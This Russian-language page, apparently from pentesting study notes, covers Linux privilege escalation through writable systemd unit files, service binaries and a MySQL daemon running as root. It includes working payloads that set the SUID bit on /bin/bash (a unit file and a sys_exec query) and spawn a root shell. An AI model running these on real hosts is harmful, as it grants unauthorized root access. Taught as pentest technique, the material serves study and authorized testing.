> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/services.md).

# Службы и Systemd

Ошибки в настройке сервисов становятся путями повышения привилегий, когда пользователь с низкими привилегиями может редактировать файл сервиса, заменить бинарный файл сервиса, управлять аргументами сервиса или записывать в каталог, используемый демоном, работающим от root.

## Методика

* Определите сервисы, работающие от root.
* Проверьте unit-файлы, `ExecStart` бинарные файлы, файлы окружения и рабочие каталоги.
* Ищите доступные для записи файлы сервисов или бинарные файлы, используемые включёнными сервисами.
* Подтвердите, можете ли вы перезапустить сервис, вызвать его косвенно или дождаться перезагрузки/таймера.

## Быстрые проверки

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Доступные для записи файлы сервисов

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Доступные для записи бинарные файлы сервисов

Этот цикл проверяет включённые сервисы и выделяет `ExecStart` пути, которые не выглядят принадлежащими root. Рассматривайте вывод как первичную сортировку, затем проверяйте вручную.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Идеи для эксплуатации

| Условие                                        | Путь злоупотребления                                                                                 |
| ---------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
| Доступный для записи `ExecStart` бинарный файл | Замените бинарный файл полезной нагрузкой, затем перезапустите сервис или дождитесь его запуска.     |
| Доступный для записи unit-файл                 | Измените `ExecStart` для выполнения контролируемой команды.                                          |
| Доступный для записи файл окружения            | Внедрите параметры или пути, которые использует сервис.                                              |
| Доступный для записи рабочий каталог           | Используйте относительные пути, плагины, логи, сокеты или временные файлы.                           |
| Сервис работает от root и парсит файлы         | Проверьте ошибки парсера, инъекцию команд, небезопасные include и доступную для записи конфигурацию. |

Пример полезной нагрузки unit-файла для лаборатории:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Перезагружайте и запускайте только если у вас есть разрешение или подтверждённый авторизованный путь для тестирования:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL, запущенный от root

Если MySQL или MariaDB работает от root и доступно опасное выполнение UDF/функций, это может стать прямым путём к root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Внутри MySQL, в зависимости от доступных плагинов/функций:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Затем:

```bash
/bin/bash -p
```

Это сильно зависит от окружения. Перед тем как полагаться на это, подтвердите пользователя демона, доступность плагинов и точные привилегии базы данных.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
